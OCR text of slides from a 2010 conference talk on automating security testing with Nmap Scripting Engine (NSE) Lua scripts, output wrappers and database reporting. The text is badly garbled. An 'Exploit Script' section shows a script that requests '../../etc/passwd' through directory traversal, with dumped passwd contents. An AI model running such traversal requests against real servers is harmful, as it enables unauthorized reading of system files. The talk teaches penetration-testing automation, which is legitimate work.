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Introduction 1/3: Who am 1 e Introduction

Scripting Engine

Name Marc Ruef Portscan Script
Version Info Script
Profession Co-Owner / CTO, scip AG, Zurich Exploit Script
. . Professional Output
Private Site http://www.computec.ch S S —
Last Book »~1he Art of Penetration Testing", Reporting
Conclusion

Computer & Literatur Boblingen,
ISBN 3-936546-49-5

Computer & Literatur c l

hcutt, Judy Novak

__Network

B}e Kunst des

Penetration Testing = :
e W v — Intrusion
® =
intern -
Angriffe * Strategien ® Abwehr :
1 gt : , = ™

Deutsche Originalousgabe

Translation
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Introduction 2/3: Presentation Goals ®Introduction
Scripting Engine
o . Portscan Script
are: Version Info Script
o Presentation of Nmap Scripting Engine Exploit Script
. Professional Output
o Development of NSE scripts S
o Data processing within security tests Reporting
Conclusion
o are not:

o Generic introduction to Nmap
o Generic introduction to Lua programming
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Introduction 3/3: The Problem

o

o

Vulnerability assessments deserve only a limited
amount of resources/time:

o Scans must be very fast
o Results must be very accurate

Large networks produce a lot of low-profile scan
results; which are still required for systematic
exploiting

= This is why we use NSE to automate things!
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Nmap Scripting Engine 1/2: What is NSE Unigoeifion
®Scripting Engine
. . . Portscan Script
o NSE stands for Nmap Scripting Engine R
o NSE is a modular system to enhance Nmap Exploit Script
. . . . . Professi | Qutput
> NSE is using Lua to run scripts (similar to NASL for | g cpeee processing
NeSSUS) Reporting
Conclusion

o NSE scripts are usually located at:
o fusr/share/nmap/scripts (Unix/Linux)
> %ProgramFiles%\Nmap\scripts (Windows)

L) Hashdays 2010 6
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Nmap Scripting Engine 2/3: What does NSE

o NSE scripts are executed conditionally

o NSE scripts can access basic scan data

o NSE scripts are able to do vulnerability scanning
o NSE scripts are able to do exploiting
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Nmap Scripting Engine 3/3: What produces NSE

up (0.0C
rDNS record for
Not
PORT
Elftcp
0/ tep

shown: 996 ¢
STATE
open ftp

http
Index
rpchi

open
_html-title:
111/tey
| rpod

OpEeEN

script name

ooz 4 1
2/tcp open
Nmap dor 1 IP addr

maruflidebian: ~$§ I

SERVICE

M/ S nmap.org )
scip.ch (1

script scan

bind
tus

bind
_fam

host
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2010-10-29 11:06
.168.0.10)

up) scanned in 5.58 seconds
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Simple Portscan Script 1/5: Goal Introduction

Scripting Engine
o Use Output Of common port scan ePortscan Script

Version Info Script

o Further processing of port status Exploit Script
. . Professi | Output
> Generation of detailed results R

Database Processing
Reporting
Conclusion

L) Hashdays 2010 9
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marufidebian:~§ nmap --script=has
itarting Nmap 5.
MN3E:

21 { http://nmwap.org )
Scanning completed.
can report for
is up (0.00044=s latency).
record for 192.1685.0.10:
PORT STATE SERVICE
80/tcp open http
| _http-detection:

Script .

define one
script ‘
to run

target.scip.cl

tarot

Web server found on port

81/tcp closed hostsZ-n

g0

Nmap done: 1 IP ¢ ipt st
marufldebian: ~§ I Scrip
generates

output

scanned in 0.17

up)

2010-10-29

seconds
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Simple Portscan Script 3/5: How it Works Introduction

Scripting Engine

- Define portrule to test port tcp/80 only CROMEC STl

Version Info Script

o Preserve identified port and status Exploit Script
' ; Professional Output
- Use data in action to generate detailed output oemone T

Database Processing
Reporting
Conclusion

L) Hashdays 2010 11
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Simple Portscan Script 4/5: How it is Implemented ;ntr_oii_ucti;n_
Cripting Engine

ePortscan Script
Version Info Script
Exploit Script

1 author = "Marc Ruef” .
Professional Output

2license = "{c) 2010 by scip AG

3 categories = {"default”, "safe"} Database Processing

4 Reporting

Srequire "shortport” Conclusion

6

7description = [[ This simple script identifies open web server ports 1]

8

8 portrule = shortport.port_or service (

10 (B0},

11 {"http"},

12 Ereep™)

13 )

14

igactlon = functlﬁﬁf define
return "Wel when to

17 end run

~

and on port " .. port.number

'y Hashdays 2010 12
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Simple Portscan Script 5/5: How it Benefits fntroduction

Scripting Engine
> This first script was just an example R

Version Info Script

> No big benefits from such simple scripts Exploit Script
; ; ; Professional Output
o Basic data collection and processing demonstrated

Database Processing
Reporting
Conclusion

L) Hashdays 2010 13
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Version Info Script 1/6: Goal Introduction

Scripting Engine
Portscan Script

o Use output of version fingerprinting scan

e Version Info Script

> Further processing of data Exploit Script
. cpey Professional Output
- Generation of vulnerabilities as results Database Processing
Reporting
Conclusion

o This is a very(!) simplistic and static version of my
nmap nse vulscan script posted on 06/03/2010 at
the Nmap dev mailing list

(http://seclists.org/nmap-dev/2010/g2/726)

L) Hashdays 2010 14
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marufldebian:~§ nmap -sV --script=hashdays wwv.sendmail.org -p25
M/ /nmap.org ) at 2010-10-29 09:

dmail.org (209.246
enable

version
detection

up (0.1¢

~ecord for

STATE 3SEI
Smtp

s.9endmail.org

Sendmail
smtp-fingerprinting:
Info: 0O35:

8.14.2.A1pha0/8.14.

You are using an updated version of

Unix
Service detection performed.
org/submit/

Nrmap

Ple ny incorrect

validated
name and
version

done:

1 IP
maruflidebian: ~$§ I

address (1 host in 2.54 seconds
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Version Info Script 3/6: How it Works Introduction

Scripting Engine
Portscan Script

o Define to test smtp ports and Sendmail only

e Version Info Script

o Analyze identified software version Exploit Script
; . Professional Output
- Use data to identify vulnerable software S
o Qutput possible vulnerabilities Reporting
Conclusion

L) Hashdays 2010 16
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Version Info Script 4/6: How it is Implemented LT

Scripting Engine

1author = "Marc Ruef” Portscan Script
2license = "(c) 2010 by Marc Ruef” eVersion Info Script
icategorles = {"default"”, "safe"} Exploit Script
Sdescription = [[ This advanced script fingerprints smtp server ]] Professional Output
3 _ Database Processing
?portrule.= functlon(hosti_pgfp) . Reporting

8 if port.service == "sntp" and

9 port.version.product ~= nil and Conclusion

10 string.match (port.version. product, "Sendmail") then

11

12 return true

12 e return false Va“dmf

- S service and

- product

15

18 action = functioni{host, port)

19 if string.match(port.version.version, "*8.14") then

20 return "You are using an updated version of Sendmail.”

21 else

22 return "You an old version of Sendmail."

23 end

24 ond validate

age of

&J version 201 0 1 7
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Version Info Script 5/6: How it Benefits Introduction

Scripting Engine
Portscan Script

o Access to all data collected by Nmap

e Version Info Script

o Dedicated access to data values Exploit Script

. . Professional Output
o Further processing very simple Detabase Processing
o Conditional testing possible Reporting

Conclusion

- Nmap becomes simple vulnerability scanner

L) Hashdays 2010 18
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Introduction
Scripting Engine
Portscan Script

- e Version Info Script
c\v CAWINDOWS' system32'\cmd.exe

Exploit Script
Professional Output
Database Processing
Reporting
Conclusion
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Exploit Script 1/5: Goal InifoduElon
Scripting Engine

> Use output of a common port scan [reen e
ersion Info Script

> Further processing of data o Exploit Script

. i Professi | Qutput
> Exploit suspected vulnerability S
o Summarize exploit attempt el

Conclusion

L) Hashdays 2010 20



Starting Nmap 5.
':'u“}:ipr
scan IIF'I.HIIJ' for

up
r:_l_II_ll for 192.
STATE SERVICE
open http
C '—EI-Ipll‘lif : root:x:0:0:roo0t:

21 ( http:
Scanning Rﬂmplpred.
targe
ldtcnuyj.
10:

SIon daemon:
:/bin/sh
:/hin/sh
c:/bin:/

‘usr/
‘;Wawhpfman

lIi'II'I! “}_'n:n:-l lpd: /b

mail:x:8:8:ma’ AL/ m1ll }

news:: pnn
:pl'l (m]
in:/bin/

fetched
passwd
content

uucp:x:10:
pProxXy:x:
wyw-data:x ata:
34 :bhackup:/
S:Mailing List

ac }-_111_1

{fnmap.

ip.ch

=usr£331n:;

ain/

Fuucp:/
/sh

;"._“_ J
var/backups
Manager:/v

SECURITY » CONSULTING -

Xploit target.s scip.

org ) at 2010-10-2¢

(192 .1658.0.10)

:/bin/bash
:’lIJ.,-‘ I=3 ¢

sync

s:/bin/sh

Lxlxl"ﬂll

fbin/sh

hin/sh
WWw: sh
/bin/sh

fbin/

ar/list:/bin/sh
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Exploit Script 3/5: How it Works Introduction

Scripting Engine
Portscan Script
Version Info Script

o Define portrule to test web server only

o Connect to web server ports eExploit Script

. . Professional Output
- Send exploit request with http.get () S
o Analyze response to determine vulnerability Al

Conclusion

o Summarize exploit attempt

L) Hashdays 2010 22
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Exploit Script 4/5: How it is Implemented Introduction

Scripting Engine
Portscan Script

1author = "Marc Ruef"” Version Info Script
2license = "(c) 2010 by scip AG"

3 categories = {"exploit", "wvuln"} e EXploit Script
4 .
S require "shortport"” Professional Output
6 require "http” Database Processing
7 .

Reporting

8 description = [[ This advanced script is going to exploit a known directory traversal ]]
5 Conclusion
10 portrule = shortport.port or_service (

11 {80, 4433},

12 {*http?; "hteps™h);

13 " Eep™

14 )

15

16 action = function (hog

17 i :
! local resy another

19 if respong complex
20 14 portrule - 1. match (response. body, "root:x: ")
2l
22 if stringfound
23 return
24 end

25 end

26 end

et (host, port, "/foo.php?file=../../etc/passwd"”)

http exploit pRetegse = "" then

request
validation

of exploit
attempt

&) Hashdays 2010 23
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Exploit Script 5/5: How it Benefits Liliferdliciian
Scripting Engine
. oy . Portscan Script
Additional tests possible Version Thfo Serint
o Easy access via network (require "packet") e Exploit Script
A . ; ; Professional Output
o Additional libraries for major protocols (e.g. http) Database Processing
o Targeted exploiting possible Reporting

Conclusion

- Nmap becomes a simple exploiting framework

L) Hashdays 2010 24
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Professional Output 1/5: Goal lnigeeEnon
Scripting Engine
: . Portscan Script
> Prepare result data for further processing: R —
o Parsing (grep, sort, awk, etc.) Exploit Script
Professional Output
° SpreadSheet (EXCQI, CSV) .Database Processing
o Database (SQL, Access, etc.) Reporting
Conclusion

o Dedicated accessibility to data fields
o As much data as possible (Everything!)

L) Hashdays 2010 25
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Professional Output 2/5: Data Sources

- Nmap API
° host

o

o

o

o

.0S
.1p
.name

°© port

o

o

o

.number
.protocol
.service
.version

.sState

o scip Output Wrapper

[e]

[e]

o

script 1id
script name
script filename
script version
script type
script accuracy
script source
script request
script response

script timestamp

Hashdays 2010
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Professional Output 3/5: Wrapper Idea Introduction
Scripting Engine

> General convention for script output S

o Use centralized code as output shim Exploit Script

o Include shim code in every script e

o Generate XML output for script scans Reppleiig

Conclusion

L) Hashdays 2010 27
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Professional Output 4/5: Shim Implementation Introduction

Scripting Engine
Portscan Script
Version Info Script
Exploit Script

l1--- scip Output Wrapper

2-- Gauthor Marc Ruef e Professional Output
g —— Version: 1.0-hdl0 .

4 Database Processing

S —- Default Values .
6 SCIP_DEFAULT_DERIVATIVE ACCURACY = 70 Reportl i)
7 SCIP_DEFAULT PORTSCAN ACCURACY = 70 Conclusion
8 SCIP_DEFAULT_SCANNING_ ACCURACY = 80

9 SCIP_DEFAULT_APPMAPPING_ ACCURACY = 80
10 SCIP_DEFAULT_ APPFINGERPRINT_ACCURACY = 90
11 SCIP_DEFAULT_EXPLOITING_ ACCURACY = 99
12
13 —— simplified version o urrent implementation
14 function scipreport (g , sTesttype, sTestsource, sVersion, sOutput, sTimestamp)

15 return "sID{ default AAn"

ig E“T“*c values for iy i,tn
sTes : FA\n

18 sTes reporting tTestsource .. "},\n"

19 sVersion{ " sVersion .. "},\n"

20 sOutput{" .. sOutput .. "},\n"

21 STimeStamp{ it gTimestamp .. "};"

22 end

defined

report
structure

&) Hashdays 2010 28
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Professional Output 5/5: Script Implementation Lriiesleior

Scripting Engine

Portscan Script
1author = "Marc Ruef" Version Info Script
2license = "(c) 2010 by Marc Ruef" Exploit SCFipt

3 version "1l.0-hd1l0"

4 categories = {"default”, "safe"} H
. e Professional Output

6 require ipreporting” Database Processing

8 descrip [ This advanced script fingerprints smtp server ]] Reporting

(host, port) Conclusion
bl include vice == "smtp" and

shim script t.version.product ~= nil and
13 p ing.match (port.version.product, "Sendmail”) then

15 return true
16 else

it return false
18 end

19 end

21 action = function (host, port)

22 if string.match(port.version.version, "*8.14") then

23 local sResult = "You are using an updated version of Sendmail:
24 else

port.version.version

t = "You are using an old version of Sendmail: " .. port.version.version
26 end

28 return s prepare ; "Version Detection", "nmap", version, sResult, os.time())

results

generate

'y S hdays 2010 29
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Database Processing 1/8: Parse xml2db Introduction
Scripting Engine
o The output files of Nmap need to be parsed RUSZIIES
. . Version Info Script
- At the moment we are using Ruby scripts

Exploit Script

o Parsed results go to desired destination: Professional Output
o CSV o Database Processing
R Reporting
Excel Conclusion
> Access
. SQL

o

o XML output of Nmap is solid:
- Valid, flawless and sound XML (unlike Qualys)
> 99% of Nmap data available (always use -vv)
o Dedicated accessibility of data fields
o Aborted scans produce broken XML :(

L) Hashdays 2010 30
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Database Processing 2/8: XML Example Introduction

Scripting Engine
1<?xml version="1.0" 2> Portscan SCI’Ipt

2 <?rxml-stylesheet href="file:///usr/local/share/nmap/nmap.xsl"” type="text/xsl"?>

3<l-- Nmap 5.21 scan initiated Fri Oct 29 10:05:12 2010 as: nmap -&#45;script=hashdays -p80 -oX nmap_output.zml -vv
#target —->

4 <nmaprun scanner="nmap" args="nmap -&#45;script=hashdays -p80 -oX nmap_output.xml -vv target" start="1288339512"

Version Info Script

.start;tr="]§‘ri oct 29 1pn5:12 2010 version="5.22‘L" xmloutputv<lersion="l.03‘"> EXp|O|t SCFIpt

5 <scaninfo type="connect" protocol="tcp"” numservices="1" services="80" />

6 <verbose level="2" /> E

Btdndet s il Professional Output
8 <taskbegin task="Ping Scan” time="1288339512" /> .

9 <taskend task="Ping Scan" time="1288339512" extrainfo="1 total hosts" /> Database PI‘OCGSSIng
10 <taskbegin task="Connect Scan" time="1288339512" /> ®

11 <tas d task="Connect Scan" time="1288339512" extrainfo="1 total ports" /> Report”—]g

in task="NSE" time="1288339512" />

ask="NSE" time="1288339512" /> -
arttime="1288339512" endtime="1288339512"><status state="up" reason="syn-ack"/> COI’1C|USIOI’1
92.168.0.10" addrtype="ipv4" />

"user"/>
RTR"/ >

target"”

0"><state state="open" reason="syn-ack" reason_ttl="0"/><service name="http"

o — com "http-detection” output="Web server found on port 80" /><script id="http-exploit"”

. output="root:x:0; hOSt she#xza;daemon: x: 1: 1: daemon: /usr/sbin: /bin/sh&#xa;bin:x:2:2:bin: /bin: /bin/she#xa;s

G g 5 - o 4:65534:sync:/bin: /bin/synce#xa;ganes: x:5: 60: games: /usr/games: /bin/she#ra;man: x: 6

. :12:man:/var/cac |nf0rmat|0n b:x:7:7:1p:/var/spool/lpd: /bin/she#xas;mail:x: 8:8:mail:/var/mail:/bin/she#ra;news: x

. :9:9:news:/var/sy juucp:x:10: 10: uucpy/var/spool/uucp: /bin/shef#fra;prory:x:13: 13: proxy:/bin: /bin/she#

. xa;www-data:x:33: P /bin/she#xa;back :34:34: backup: /var/backups: /bin/sheffxra;list:x:38:38:Mailing
. List Manager:/var/list:/bin/she#xa;irc:x:39:39:1ircd; /ired:/bin/she#xa;gnats:x:41: 41:Gnats Bug-Reporting System
- (admin):/var/lib/gnats:/bin/sh&#xa;nobody: x: 65534: body:/nonexistent:/bin/sh&#xa;maru: x: 1000: 1000: Marc
. Ruef,,,:/home/maru: /bin/bashs&#xa;Debian-
. exim:x:102:102::/var/spool/eximé: /bin/falsec#
. 4::/var/run/dbus: /bin/false&#xa;hal:x:105:105 port a nd
. layer,,,:/var/run/hal:/bin/falses&#xa;gdm: x: 10
. Manager:/var/lib/gdm:/bin/falses#xa;nagios:
. Server,,,:/var/lib/mysql:/bin/falses#xa;sshd:

21</ports>

22 <times srtt="1236" rttvar="2950" to="100000" />

23 </host>

24 <runstats><finished time="1288339512" timestr="Fri Oct 29 10:05:12 2010" elapsed="0.21"/><hosts up="1" down="0"
. total="1" />

25<l-- Nmap done at Fri Oct 29 10:05:12 2010; 1 IP address (1 host up) scanned in 0.21 seconds -->

26 </ runstats></nmaprun>

&) Hashdays 2010 31

i::/var/run/identd: /bin/falsec#xa;messagebus:x:101:10

scri pt data hios:/bin/falses#xa;mysql:x:104:108: MySQL
/sshd: /usr/sbin/nologins#xra;-" /></port>
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Database Processing 3/8: XML Tags & Attributes Introduction

Scripting Engine
Portscan Script

° port o script
‘ 1- ¢ “ d= htto-detecti “ Version Info Script
protocol=,tcp 1d=,nhttp-detection Exploit Script
o portid=, 80" ° output=,sID{29}, &#xa Professional Output
° state ’ o Database Processing
o state=,open" sAccuracy {80}, &#xa; Reporting
sTesttype {"Version Conclusion

° reason=,syn-ack" ,
Sy Detection"}, &#xa;

o — A
reason_ttl=,0 sTestsource {"nmap"},

° service s#xa;
° name=,http" sVersion{"1.0-hd10"}
o method=,table™ , &iFxa;

sOutput {"You are
using an old version
of Sendmail. "}, &#xa;
sTimestamp {127014645
61"

o conf=,3"
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Database Processing 4/8: Database Relations Introduction

Scripting Engine
xml| output
.Database Processing
Reporting
Conclusion

hosts findings secissues

Portscan Script
Version Info Script
Exploit Script
Professional Output

host_id[ finding_id[ secissue_id[

host_ipaddr host_id[ secissue_title

host_name secissue_id secissue_desc

L) Hashdays 2010 33



S ——

~ -~
INFO@SCIP.CH

SECURITY + CONSULTING + INFORMATION + PROCESS BRSNS CIRERE] | F+41 44 4041314

BADENERSTRASSE 551 | 8048 ZORICH

)scip(

A o . B
w8 S
" ‘Y"u o, S8

Introduction

Database Processing 5/8: Predefined Secissues

Scripting Engine
Portscan Script

o tbl _secissues 5 -

. . Nae Version Info Script

o seC!Sue_Id!:l e —— = — Exploit Script

o SECISSUG_tIHE : _l"l S Professional Output

e e B A = Database Processing

. . . TETT— Type fessine >

o secissue_description B - (L
. ) Parent Vunersbilty  [FTTP Web Server Detectec =] Reportng Detals — = porting

o secissue_severity '@_‘:EMIMMHM;“&;‘{W' Conclusion

[Apache Webserver bis 2.2.3 mod_rewrite C Title [Apache web Server until 2.2.3 mod_rewrite

o secissue_exploiting iy O ot

secissue_cmeasures T i |
secissue_family

secissue_parentissue
secissue_cve
secissue_ovsbd

[Er unterstitzt sogannte Module, durch
Idie der Kern um zusétzliche Funktionen
lerweitert werden kann. Eines der
populérsten Module ist mod_rewrite,
|mit dem URLs mittels entsprechender

[Das Modul mod_rewrite weist einen OFf-
[By-One Pufferiberlauf auf.
[Voraussetzung fir die Existenz dieser
[Schwachstelle ist, dass die Rewriting
[Engine in der Konfigurationseinstellung
|des Webservers aktiviert ist, Dies ist
Iselbst bei instaliertem Modul nicht
jautomatisch der Fall,

[Ein Angreifer sieht sich in der Lage,
leine Speicherschutzverletzung
|durchzusetzen. Dies fihrt in erster

[Linie 2u einer destrukkiven Denial of

[Service-Attacke. Ebenso ist es jedoch
Iméglich, in konstruktiver Weise durch
leinen zielgerichteten Angriff eigenen
|Shellcode zu injizieren und damit

lpossible to add new features with
modules. The popular module

mod_rewrite is a rule-based rewriting
lengine which rewrites requested URL.

he mod_rewrite module is vulnerable

an off-by-one buffer overflow.

uirement for this vulnerability is,

the rewriting engine is enabled with

configuration setting

writeEngine on”. This is not the

ault setting, even if mod_rewrite is

jnstalled.

[an attacker is able to enforce a memory
fcorruption. This will lead to a denial of
[service in a first place. By injection shell
lcode it is possible to run arbitrary code
with the privileges of the Apache web
Iserver.

Host
|__|ns2.customer.example (x.x.x.92) [Zone I: DMZ T]
»
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Database Processing 6/8: Imported Hosts Introduction

Scripting Engine
o tbl hosts Portscan Script

) Version Info Script
> host_idO i | Bl Exploit Script
o hOSt_ip addr poitce | EEE fotene l_|2t"'f"°' Professional Output

Subnetmask |255.255.255.248 Distance 7
Z [a =]t Edit q
E= ° Database Processing
o h O St_ h O St n a I I l e 6" Operating System H;E Port Status | 3 Security Issues | [l Statistical Analysis | Re po r t| n g
Host Type [server | )
° h O S t_ I I l a C a d d r Function lSecundavy Nameserver | SMTP-Relay CO n CI usion
Architecture =3
o h O S t Z O n e Operating System [Microsoft Windows %P 5P2 (90%)
- NMAP Fingerprint SCAN(Y=5.21%D=8[10%0T=25%CT="%CU=%PY=N%G=N%TM=4C6

11873%P=i686-pc-windows-windows)
SEQ(SP=101%GCD=1%ISR=10B%T5=U)
° h O S t O W n e r SEQ(SP=109%GCD=1%I5R=10B%TI=RD%T5=L)
— OPS({01=MSAC%02=MSAC%03=MSAC%04=MSAC%0S=MSACY%Ob=

M54C)
WIN(W1 =FFFFo% W 2=FFFFY% W a=FFFF%Wa=FFFF WS =FFFFY%We=F
FFF

> host_wh )
O S _W O I S ECN{R=Y%DF=N%TG=40%W=FFFF%0=MSAC%CC=N%Q=)
T1({R=Y%DF=N%TG=40%5=0%A=5+%F=A5%RD=0%Q=)
T4/ o7, NE 02 T2 4102 G301 A 01 E— 507 D102, 0
o host_purpose
I TCP Sequence Index 265
1 TCP Sequence Difficulty  [Good luck!
o host hitect
O S _a rC I e C u re TCP Sequence Yalues [7504DE63,8464A17B, 155227EA,AB37530A

1P ID SequenceClass [Randomized

© h O S t_o S 1P ID Sequence Values  [4F8B,5020,501F S01E

TCP TS Sequence Class [nnne returned (unsupported)

o TCP TS Sequence Values |
ana
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Database Processing 7/8: Imported Findings Introduction

Scripting Engine

o ctbl ﬁndings Portscan Script
- Version Info Script

o flndlng_ld ] e — Exploit Script

. . . IP:nddreS:Sk . x.x.92 H?ﬂname i
o findi ng_hostld ] g ] = — — Professional Output
. . . . 6 Operatig ystem | £ Pt st Sacurty e | [ statstcl ansyis | .Data base Processing
o finding_secissueidl] T Reporting

Project Step [veb Application Penetration Test |

|Apache Web Server unti 2.2.3 mod_rewrite OFf-By-One Buffer Overflow |

H 1 itle c
© f|nd|ng_p0rt o [rple Workdvide WebHTTR) | changeta 713 [fess Conclusion '

Severity High changeto  igh ] ™ False Positive I Risk Accepted

- : ==

o finding_severity i I

Comments Customer ~[This host must remain on 2.2.x due to compatibilty reasans.

o findi Nng_ Scri ptna me e e g ons A o o e Sk
_ e

o finding_scriptversion

o finding_timestamp

o finding_rawrequest s v

o finding_rawresponse

Description Impact. An attacker is able to enforce a memory corruption. This wil lead to a denial of service in a first place. By injection
shell code it is possible to run arbitrary code with the privileges of the Apache web server.

Test Timestamp. 1281431645 Entry Timestamp 29.10.2010 10:46:31
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Database Processing 8/8: Database Example Introduction

Scripting Engine
i i ; ; : ; Portscan Script
finding_id [ host_id[] secissue_id[] ean e
Version Info Script
Exploit Script
Professional Output

1 1 3 ¢ Database Processing
Reporting
Conclusion

2 1 4

3 2 3

4 3 6
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Reporting 1/5: Database Example Ligel o
Scripting Engine
tbl_findings. tbl_host. tbl_secissues. PSR ST
. ) . Version Info Script
finding_id[] host_ipaddr secissue_title Exploit Script
Professional Output
1 192.168.0.10 Web Server 2.X Database Processing
Found .Reporting
Conclusion
2 192.168.0.10 Web Server 2.3
Directory Traversal
3 192.168.0.11 Web Server 2.X
Found
4 192.168.0.12 FTP Server 4.2
Found

L) Hashdays 2010 38
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Introduction
Scripting Engine
Portscan Script

A-Network1  [xxx105 |somehost customer exartple (51 | Medum 80 www-Hip | Appication rteral Securty VES
(x X X 53-x % X 120) |Grabbing \web server shipped wih | server and requesting & attacker to identity the used Content-Length: Fingerprinting Assessment
software. This makes & 1433 | N .
B o T ] e e e e e s Version Info Script
(% X x §3-% X X 120) ', whichis |of I |Fingerprinting Assessment |
3 ystem <1008y
A - Network 1 xxx105 |somehost customer exomple (62 | Medum [Web Appication HP System HP System Managemert is a | The appbcation fingerprinting nstoled 201 rternal Securty | VES EXp|OIt Scrl pt
(x x X 53-% % %120) , whichis Fingerprinting Assessment
¥ to 1008y | | | |
“IA - Network 1 xxx105 |somehost customer example (61 IMedum [ Web Server SSL Version Te5Luz 15 supported 1077 mgames  Evmerston Internal Securty NO .
B cexssncrmy ertication HTTPS webserverthe sk SSL versions Assessmert | Professional Output
T A Network 1 Xxx105 |somehost customer example (53 |Medum |Sophos Message Router Service T nstoled | 1077 imgames | Appication | Iiternai Securty | VES
(X X X 53-x.x X 120) IFound vendor for securty Mapping Assessment .
5 odts, especioly the__|Sophs Messope Rcter by _lsows anattockerto | (100v) Database Processmg
A-Network1  [xxx105 |somehost customer exarmple (53 |Medum [Host MSRPC Service Found Microsoft RPC s a modifed oet Appacation rternal Securty |VES
(xxx 53xxx120) version of DCERPC. MSRPC asve I 10 Mpping Assessment
wnlmdbywﬁv SEWGBWGM Users. mwmmhr (100%) H
A Network 1 xxx105 | somehost customer example (57 | Medum The analysis of the target I I |Appication | Tinternai Securty |VES Re po rt| n g
(x x X 53-x x x120) mmuowm |host has shown thet a SMB  implementation might provide | ds ds. Mappeg Assessment .
8 ystem, CFS) Users
A- X105 |somehost customer example (56 |Medm NetI0S over ) oct 133 netbios-ssn | Appbcation nternal Securty |VES
oS : b Conclusion
| |otows ! ‘vuinerabities | (10083 | | |
A - Network 1 %xx105 |somehost customer example |55 Medum  [Host MSRPC Service Found Microsont RPC is amodified | The ot | 1135epmap  Appication Internai Securty VES
(cxx 53x xx120) version of OCERPC. MSRPC asve Magping Assessment
10 B . | " o used by o Users v ch mig 12008) - R N
A Network 1 xxx105 | somehost customer example (70 | Medum Oper Oper | I istoled | §85 personal- |Applcation | Titernal Securty | VES
(¢ x X 53-% % %120) Found futy pr | ( Assessment
11 |Ope to (1008)
A - Network xxx105 |somehost customer example |71 Medum Sophos Message Router Service Sophos is 8 wel-known 8192 Appacation Internal Securty YES
(xxxsa-xxx!m] Found vendor for securty 10 Mapping Assessment
A2 | |products, especialy their soam»es:mnmw |alows an attacker to |t100%) | | |l | |
A - Network 1 xxx105 |somehost customer example (65 Medum [Web Server Banner Grabbing AWWBI'MM 9.9 2301 cpq-whem Appication Internal Securty |YES
(xxx §3-xx%120) server | y HP System 2 Assessment
13 my A clent, ususly & web _resource the chent getsthe _|software. This makes ¢ Homepage/3.0.2.77
A-Network1  [xxx105 |somehost customer exarple (S0 |Medum [Web Server HITP Method OPTIONS | A web server is provaing | The web server is [The analysis of the GPTIONS | A1 1ow: OPTIONS, B www i Erumerséion rternal Securty NG
(x X X 53-x % X 120) Support documents for result lays & TRACE, CET, HEAD, Assessment |
14 | i {for further |post | | |
T A Network 1 %x105 | somehost customer example (49 Medum  [Web Server ETag Headsr Information |ETag stands for entty tag a9 |Anattacker ETag: BOwww.rtlp Enumerstion | Internal Securty (NG
(x x x 53-xx % 120) Disclosure 'which| por 15 Assessment
5! 1 Ih forthe } ctinkeensd | 1 | ! 1 !
A - Network 1 xxx 105 |somehost customer example |48 Medhm Microsoft ES Not Found Ste nstalled  Matched String: 80 www-Hitp | Appication (CVE-1993-0633 Internad Securty |YES
(xxx 53-% X x120) dertifi web server shipped wih Fingerprinting Assessment |
LN — slowsenofackerfo __ |Make sure that the | | | | —
A - Network xxx105 i 8194 tipt Appication Internal Securty | VES
(cxx 53xxx120) vmlasm&r 10 Mapging Assessment
a7 s 2 i . 1 2 __joroducls, _{Sophos Messege Router by ¢ ®, Jt1000) ! | E— ! — |
A-Network1  [xxx105 e (45 |Medum TP A [ TCP port Unknown Pores (2 B Portscanning nternal Securty | VES
(x X x 53-x X X 120) n por tfurther |Total): Assessment
18 [this case the host becomes server. analysis, enumeration, or
A - Network 1 xxx105 |somehost customer example (43 Medium TCPPorts |A If an attacker suspectsthe | Filtered Ports (3 0- Reconnsissanc Internal Securty YES
(X x %53 X x120) iDetection collection of securly port scan behavior alows  installation of a frewal, he | Total): e Assessment
il 1 I ! fReredtcp might ! ! ! ! 1 1
A-Network1  [xxx105 |somenost customer example (74 |Medum [Web Server SSL Version A web server is ahosthal \Whe connectigfoan |The support anduse of  |S5Lv2 iz supported 6194 bipt Enumerstion nternal Securty (NG
(x x x 53-x x % 120) [dertiticaton s serving documents via HTTPS web server the \weak SSL versions Assessment
20 hetp. A clent, y
A - Network 1 xxx105 |somehost customer example |41 Medhm [Host Operating System TCP Every host is running an The handing of the TCP It an attacker knows the Microsoft Vindows 0- Ervameration Internal Securty NO
(x X X 53-x X X 120) Fingerprinting operating which. Server 2003 SP1 or Assessment |
21 |responsible for centraltasks |TCP stack of the operating _he might be able to prepare | SP2 | | | |
A - Network 1 xxx105 |somehost customer example (8025  Medum  |[Microsoft C Microson IS unti 6.0 is An aftacker is able to Microsoft IIS htepd B0 www.-hip Explotation CVE-2006-0026 Internai Securty INO.
(cxx 53xxx120) Butter Overfiow web server shigped wih | vuinerabie to a bufer enforce amemary Assessment
cormupt
A - Network 1 xxx105 |somehost customer example (8127 | Medum I D Tond60are |An attacker ) Microsoft IIS htepd [B0www-Hip |Expiofaion  |CVE-2008-0075 |internal Securky INO.
(x X X 53-x X X 120) [Butter Overflow 'web server shipped wih vuinerabie to & butter enforce & memory .0 Assessment
[professional edtions of |overfiow attack cormuption. This wil lead to &
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Reporting 3/5: Nice Report Document

Medium

Ba = abbing D16

Zone: Int - Internal Metwoark (Eth1)

Host:

PortiService: tcp/80 (wananshittp)

Component: Service (HTTP Web Server)

Step: Application Fingerprinting (Greybox Penetration Test)
Class: Configuration Problem

Introduction:
A web server is a host that is serving documents via http. & client, usually aweb krovwser, is able to connect to the web
server snd to request some of the hosted resources. Those are returned to and interpreted by the beovwser.

Problem:
By cornecting to a web server and requesting & resource the client gets the kanner of the weh server. This barner
includes the application name and version.

Impact:

Elanner-4 bs an sftacker to identify the used softwvare. This makes it possible to intiste product related

basic
secissue
information

%, Effort: 10 minutes, Level: Script Kiddie, Type: Exploiting, Harmful: No
erver with the telnet command “telnet <host= =port=".
established. This is usually not declared ky the web server with an automated welcome

for an existing resource with the structure "HEAD fHTTPAM 0",
4 Verrfy that you recewed an hitp response which contains the line Server in the header. Within the Server line the hitpd
implementation usually announces itself.

Resutt:

debian: «# echo -en "HEAD / HITP/L. 0anin” | nc [N ;0
HITPS1l.0 201 Moved Permanently

Location: https:fff

Content-Length: 0

Cormection: close

Date: Tue, £7 Jul 20.1.0 10:45:32 GMT

Server: lighttpd/l.

Possible False Posttives:
1. The resporse wad
destination port is still
application protocol.

proxy system and not ky the target bost (109%). == Usually the
verify this issue by establishing a full session within the provided

results
from nse
scans

days 2010
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Introduction
Scripting Engine
Portscan Script
Version Info Script
Exploit Script
Professional Output
Database Processing
Reporting
Conclusion

40



e

-

INFO@SCIP.CH

SECURITY + CONSULTING - INFORMATION - PROCESS TN )SCI P(

BADENERSTRASSE 551 | 8048 ZORICH

e
-

Reporting 4/5: Advantages Sl
Scripting Engine
> Successful handling of a /ot of data [reen e
